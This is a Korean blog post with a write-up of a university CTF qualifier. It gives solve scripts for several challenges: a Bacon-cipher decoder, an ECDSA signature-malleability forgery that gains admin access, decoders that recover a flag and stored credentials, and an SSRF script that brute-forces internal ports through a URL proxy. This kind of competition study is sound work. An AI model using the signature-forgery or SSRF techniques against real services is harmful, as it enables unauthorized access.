[2025 COSS 아주대 CTF - 예선 ] - Write Up & 후기

2025. 6. 23. 12:04·CTF

2025. 06. 21 토요일 09~18시에 진행된 아주대학교 CTF에 참여하였다

예선 5등으로 끝냈고, 본선 진출 하였다

6문제 풀었고,

1시 반까지 하고 학원갔다


Write Up

Mic Check

Bason - Crypto

# prob.py
import string
import random
import os

bacon_cipher_reverse = {
    'A': 'aaaaa', 'B': 'aaaab', 'C': 'aaaba', 'D': 'aaabb', 'E': 'aabaa',
    'F': 'aabab', 'G': 'aabba', 'H': 'aabbb', 'I': 'abaaa', 'J': 'abaab',
    'K': 'ababa', 'L': 'ababb', 'M': 'abbaa', 'N': 'abbab', 'O': 'abbba',
    'P': 'abbbb', 'Q': 'baaaa', 'R': 'baaab', 'S': 'baaba', 'T': 'baabb',
    'U': 'babaa', 'V': 'babab', 'W': 'babba', 'X': 'babbb', 'Y': 'bbaaa', 
    'Z': 'bbaab'
}

def encode_bacon_cipher(message):
    encoded_message = ''
    
    message = message.upper()
    
    for char in message:
        if char in bacon_cipher_reverse:
            encoded_message += bacon_cipher_reverse[char]
    
    return encoded_message

def gen_random_string(length=10):
    return ''.join(random.choices(string.ascii_letters, k=length))


def encode_message_with_styles(binary_message, style_message):
    encoded_styled_message = ''
    binary_index = 0

    for char in style_message:
        if char.isalpha():
            if binary_message[binary_index] == 'a':
                encoded_styled_message += char.lower()
            else:
                encoded_styled_message += char.upper()
            binary_index += 1

        if binary_index >= len(binary_message):
            break 
    
    return encoded_styled_message

def print_flag():
    with open("/flag", "r") as f:
        flag = f.read().strip()
    print(flag)


def main():
    message = gen_random_string(10)
    message = message.upper()
    binary_message = encode_bacon_cipher(message)
    
    style_message = gen_random_string(len(binary_message))

    encoded_message = encode_message_with_styles(binary_message, style_message)

    print(f"encrypted msg: {encoded_message}")

    user_input = input("Enter origin message: ")
    if user_input == message:
        print("Correct!")
        print_flag()
    else:
        print("Nope")

if __name__ == "__main__":
    main()
# exploit.py
from pwn import *

# Bacon 암호 매핑: 문자 → a/b 5비트 문자열
bacon_cipher_reverse = {
    'A': 'aaaaa', 'B': 'aaaab', 'C': 'aaaba', 'D': 'aaabb', 'E': 'aabaa',
    'F': 'aabab', 'G': 'aabba', 'H': 'aabbb', 'I': 'abaaa', 'J': 'abaab',
    'K': 'ababa', 'L': 'ababb', 'M': 'abbaa', 'N': 'abbab', 'O': 'abbba',
    'P': 'abbbb', 'Q': 'baaaa', 'R': 'baaab', 'S': 'baaba', 'T': 'baabb',
    'U': 'babaa', 'V': 'babab', 'W': 'babba', 'X': 'babbb', 'Y': 'bbaaa',
    'Z': 'bbaab'
}

# 복호화 매핑: a/b 5비트 문자열 → 원래 문자
bacon_decode = {v: k for k, v in bacon_cipher_reverse.items()}

def decode_bacon_from_styled(styled: str) -> str:
    """
    스타일된(encrypted msg) 문자열에서 대소문자 비트를 추출해
    Bacon 암호를 복호화하여 원본 메시지를 반환합니다.
    """
    # 알파벳 문자만 골라, 소문자 → 'a', 대문자 → 'b'
    bits = ''.join(
        'a' if c.islower() else 'b'
        for c in styled
        if c.isalpha()
    )
    # 5비트씩 끊어서 대응하는 문자 복원
    return ''.join(
        bacon_decode[bits[i:i+5]]
        for i in range(0, len(bits), 5)
    )

def get_flag(host: str, port: int):
    """
    원격 서버에 접속해 암호문을 읽고 복호화하여 플래그를 얻어 출력합니다.
    """
    # 원격 연결 (로컬 실행 시 process([...])로 대체 가능)
    p = remote(host, port)

    # "encrypted msg: <스타일된 문자열>" 줄을 읽음
    line = p.recvline_contains(b"encrypted msg:").decode().strip()
    styled = line.split(":", 1)[1].strip()

    # 원본 메시지 복원
    orig = decode_bacon_from_styled(styled)
    print(f"[+] Recovered message: {orig}")

    # 복호화된 원본 메시지를 전송
    p.sendline(orig)

    # 플래그가 담긴 응답을 모두 받아 출력
    print(p.recvall().decode())

if __name__ == "__main__":
    HOST = "43.202.158.126"
    PORT = 1111
    get_flag(HOST, PORT)

딸깍

 

Elliptic - Crypto

# Exploit.py
from pwn import remote
import binascii

N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

def bytes_to_int(b: bytes) -> int:
    return int.from_bytes(b, 'big')

def int_to_bytes(i: int) -> bytes:
    length = (i.bit_length() + 7) // 8
    return i.to_bytes(length, 'big') or b'\x00'

def parse_der(sig: bytes):
    assert sig[0] == 0x30
    idx = 2
    if sig[1] & 0x80:
        ln = sig[1] & 0x7F
        idx = 2 + ln
    assert sig[idx] == 0x02
    r_len = sig[idx+1]
    r = sig[idx+2:idx+2+r_len]
    idx2 = idx + 2 + r_len
    assert sig[idx2] == 0x02
    s_len = sig[idx2+1]
    s = sig[idx2+2:idx2+2+s_len]
    return r, s

def encode_der(r: int, s: int) -> bytes:
    rb = int_to_bytes(r)
    if rb[0] & 0x80:
        rb = b'\x00' + rb

    sb = int_to_bytes(s)
    if sb[0] & 0x80:
        sb = b'\x00' + sb

    der_r = b'\x02' + bytes([len(rb)]) + rb
    der_s = b'\x02' + bytes([len(sb)]) + sb
    content = der_r + der_s
    return b'\x30' + bytes([len(content)]) + content

def main():
    conn = remote('43.203.174.164', 2025)
    conn.recvuntil(b'> ')
    conn.sendline(b'1')
    info = conn.recvuntil(b'> ')
    for line in info.splitlines():
        if b'Valid Admin Signature:' in line:
            sig_hex = line.split(b':')[1].strip()
            break
    original_sig = binascii.unhexlify(sig_hex)
    r_bytes, s_bytes = parse_der(original_sig)
    r_int = bytes_to_int(r_bytes)
    s_int = bytes_to_int(s_bytes)
    s_malleated = N - s_int
    new_sig = encode_der(r_int, s_malleated)
    new_sig_hex = binascii.hexlify(new_sig)
    conn.sendline(b'2')
    conn.recvuntil(b'hex for admin access: ')
    conn.sendline(new_sig_hex)
    print(conn.recvall().decode())

if __name__ == '__main__':
    main()

크립토 전부 푸는데 10분 걸렸다

 

The Powershell - Reversing

# exploit.py
v = [7, 96, 164, 214, 92, 231, 220, 244, 19, 182, 21, 228, 228, 29,
     76, 96, 226, 42, 18, 102, 152, 255, 24, 232, 253, 8, 10, 126]
k = 0x77

flag = []
for i, vi in enumerate(v):
    s = i % 8
    rot = vi ^ (k + i)
    b   = ((rot << s) | (rot >> (8 - s))) & 0xFF
    flag.append(b)

flag_str = bytes(flag).decode()
print(flag_str)

 

Credential Hash Generator - Reversing

main.exe를 ida로 분석하면

pyinstaller로 exe파일이 되어있음을 알 수 있다

이걸 통해서 decompile 진행하면

import random

F_hex = "b3c42b30363610c186cfb9c891046a4f1f983301705be5b00b979485eea15185ceeb17204b8267fb9930832ba20406471a7e0ceb1214e853330240b7dd7d243e6961d37159b1c6325ea4be49ea6c8af8"
F = bytes.fromhex(F_hex)

userid = "admin"
pass_length = len("********************************")  
userid_bytes = userid.encode()
len_tmp = len(userid_bytes) + pass_length 

rng = random.Random(3735928559)
perm = list(range(80))
rng.shuffle(perm)
rand_ints = [rng.randint(0, 255) for _ in range(80)]

shuffled_new_data = [(F[i] - rand_ints[i]) % 256 for i in range(80)]

new_data = [0] * 80
for idx_shuffled, orig_idx in enumerate(perm):
    new_data[orig_idx] = shuffled_new_data[idx_shuffled]

tmp = [None] * len_tmp
for i in range(80):
    k = i % len_tmp
    c = (49 * i + 4) % 256
    val = new_data[i] ^ c
    if tmp[k] is None:
        tmp[k] = val
    elif tmp[k] != val:
        raise ValueError(f"Inconsistency at position {i}")

recovered_userid = bytes([tmp[i] ^ 48 for i in range(len(userid_bytes))]).decode()
password_bytes = [tmp[len(userid_bytes) + j] ^ 96 for j in range(pass_length)]
recovered_password = bytes(password_bytes).decode()

print(f"Recovered userid: {recovered_userid}")
print(f"Recovered password: {recovered_password}")

 

WebView - Web

list 엔드포인트가 주석으로 숨겨져 있다

import requests
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed

PROXY = "http://3.36.10.125/?url="

HOSTS = ["127.0.0.1", "localhost", "c61990662e4f", "internal"]
PORT_START = 1000
PORT_END   = 10000

TIMEOUT = 0.5
MAX_WORKERS = 50

def probe(host, port):
    target = f"http://{host}:{port}/flag"
    ssrf_url = PROXY + urllib.parse.quote(target, safe="")
    try:
        resp = requests.get(ssrf_url, timeout=TIMEOUT)
        text = resp.text
        if "flag{" in text:
            return (host, port, text.strip())
    except requests.RequestException:
        pass
    return None

def brute_force():
    with ThreadPoolExecutor(max_workers=MAX_WORKERS) as exe:
        futures = []
        for host in HOSTS:
            for port in range(PORT_START, PORT_END + 1):
                futures.append(exe.submit(probe, host, port))
        for fut in as_completed(futures):
            result = fut.result()
            if result:
                host, port, flag = result
                print(f"\n🎉 FLAG FOUND at {host}:{port} 🎉\n{flag}\n")
                exe.shutdown(wait=False, cancel_futures=True)
                return

if __name__ == "__main__":
    brute_force()

브포로 풀린다

XSS인줄 알고 한참을 고민했는데 너무 쉬운 문제였다


PWN문제가 HEAP이 많아서 거의 못 건들였는데, 본선때까지 HEAP하고 FSOP공부해서 포너블 1솔 해야겠다

'CTF' 카테고리의 다른 글

[ 2025 제 1회 경기도 사이버 보안 캠프 후기 ]  (2) 2025.08.25
[ 2025 COSS 아주대 CTF - 본선] - Write Up & 후기  (5) 2025.07.25
[2025 Codegate 예선] - Write Up & 후기  (0) 2025.05.26
[2025 DIMI CTF Write Up] - Prob by pandas. with 후기  (3) 2025.03.25
[CTF] 제 5회 중부대학교 JBU CTF  (1) 2025.02.27
'CTF' 카테고리의 다른 글
  • [ 2025 제 1회 경기도 사이버 보안 캠프 후기 ]
  • [ 2025 COSS 아주대 CTF - 본선] - Write Up & 후기
  • [2025 Codegate 예선] - Write Up & 후기
  • [2025 DIMI CTF Write Up] - Prob by pandas. with 후기
Hello🖐️I'm pandas from KDMHS
Hello🖐️I'm pandas from KDMHS
한국디지털미디어고등학교 23기 웹 프로그래밍과에서 해킹을 공부하고 있는 pandas입니다.
  • Hello🖐️I'm pandas from KDMHS
    웹 프로그래밍과에서 시스템 해킹 공부하기
    Hello🖐️I'm pandas from KDMHS
  • 공지사항

    • Hello I'm pandas 🖐️
    • 분류 전체보기 (26)
      • CTF (9)
      • 디미고 (8)
      • 백준 (1)
      • Dreamhack (5)
      • INFO (3)
  • 전체
    오늘
    어제
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 인기 글

  • 태그

    docker
    해킹
    Baekjoon
    디미고
    ctf
    info
    회고록
    백준
    팰린드롬
    pwnable
    DreamHack
    reversing
    웹프로그래밍과
    Python
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
Hello🖐️I'm pandas from KDMHS
[2025 COSS 아주대 CTF - 예선 ] - Write Up & 후기
상단으로

티스토리툴바